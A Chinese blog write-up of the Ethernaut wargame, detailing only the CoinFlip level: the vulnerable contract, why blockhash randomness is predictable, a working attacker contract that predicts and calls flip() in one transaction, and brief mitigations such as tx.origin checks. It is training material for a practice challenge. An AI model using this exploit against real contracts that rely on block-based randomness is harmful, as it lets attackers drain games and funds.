Ethernaut 题解

1. Fallback

2. Fallout

3. CoinFlip

代码如下:

pragma solidity ^0.4.18;
contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

是一个flip coin的游戏,游戏要求是必须连续猜对10次赢。每一次调用,都会根据前一个区块的hash值来计算本次抛硬币的结果。 显然,这并不是随机的,因为在调用之前,我们就能获取我们这一笔交易的上一个区块的blockhash。
这就是,以太坊智能合约开发中常见的随机数漏洞了,依靠blockhash计算随机数的方式是可以被预测的。也就失去了随机数的作用。下面介绍随机数漏洞的利用思路
针对这个随机数漏洞:

方法一:

我们只要从任何区块链浏览器上,比如etherscan,blockchair等,获取到最新的区块hash,然后,迅速计算出正确的guess,再接着调用flip函数。 所以,似乎可以利用爬虫的方式爬取数据,计算出正确结果,然后再想办法和web3.js交互,调用游戏合约的函数。
看起来似乎,有点麻烦了,对于我这种开发小菜鸡,即使弄出来调bug也得调半天,,,当然,更关键的两点:第一,区块链浏览器的数据库更新一般和区块链上实时数据有延迟;第二,通过web3.js调用合约函数的过程也是需要一定的时间。而以太坊一般是14s新出一个区块,所以当我们费尽心思计算出结果并且发出调用以后,我们的调用很可能被打包到下一个区块里面去了,也就是说,之前算的很可能是错的。 这也是很多开发者知道有随机数漏洞却依旧不以为然的原因,毕竟看起来用户作弊成功的概率很低,且需要一定的技术功底去优化整个过程。如果再加上常用的随机源时间戳,开发者通常认为,除非矿工和用户一起作恶才能准确利用时间,就觉得这是个几乎不可能被利用的漏洞。

方法二:(打脸方法一和没有安全意识的开发者)

在这个方法中,我们祭出以太坊的solidity。我们知道,solidity是以太坊智能合约开发的,是一个图灵完备的语言。换句话说,从理论上讲,只要能将逻辑抽象成代码,就能够用solidity描述出来。同时,solidity还
支持在合约中调用另一个合约的函数!!!
支持在合约中调用另一个合约的函数!!!
支持在合约中调用另一个合约的函数!!!
就是这一点,打破了随机数漏洞难以被利用的幻想。我们可以自己写一个合约,在合约中使用和游戏合约中相同的算法计算出一个随机数。然后用该随机数去调用游戏合约中的flip()整个过程会被当作一笔交易,成功率是100%。因为一笔交易肯定被打包在一个区块中,那么连个函数调用前一个区块的hash一定是相同的。
通过这种方式,也不用去和矿工同谋作恶了。假设开发者加入时间作为随机源,同样可以利用该办法利用。以太坊记录时间的单位是秒,对于具有恐怖计算能力的矿机来说,1s内完成上述所有过程简直不能更easy。所以,两个函数获取的时间都是一样的。如果非要说和矿工合谋了,那就是和所有的矿工合谋了这笔交易。而我们付出的可能仅仅是一点微不足道的gas。
And now, talk is cheap, show you my code:

pragma solidity 0.4.24;

contract pwn{
    CoinFlip Flip;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    constructor(address flip) public {
        Flip = CoinFlip(flip);
    }
    function pwnFlip() public {
    uint256 blockValue = uint256(blockhash(block.number-1));
    if (lastHash == blockValue) {
      revert();
    }
    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;
    Flip.flip(side);
    }
    
}

interface CoinFlip {
  function consecutiveWins() external view returns(uint256);
  function flip(bool _guess) external returns (bool);
}

题外话:

由于以太坊上智能合约运行方式的特殊性,导致,很多在传统程序中的随机数生成方式不再随机,可以被通过合约调合约的方式高效绕过。而随机数很多情况下,又是一个不能少的变量。
现在流行的有两个方向的解决方案:

  • 防止合约调合约
  • 使用难以预测的随机源
防止合约调合约

这种方式可以提高攻击者攻击的难度,同时也大大降低了攻击成功的概率。
现在知晓的有两种方法:

  1. 使用ecrecover,ecrecover是solidity中带的加密相关库中的一个函数,给定一段签名,
  2. 使用tx.origin==msg.sender
    tx.origin是一笔交易的最初发起者的地址,其永远是账户的地址,msg.sender指的是调用某合约的地址。举个例子:
    用户a调用合约A中调用合约B的某个函数的函数。
    那么在B中tx.origin就是a,msg.sender就是A。
    如果tx.origin == msg.sender,则一定说明调用者就是账户。可以简单保证
    ##4. Telephon

后面的有空再写吧,实在没精力了

你可能感兴趣的:(eth)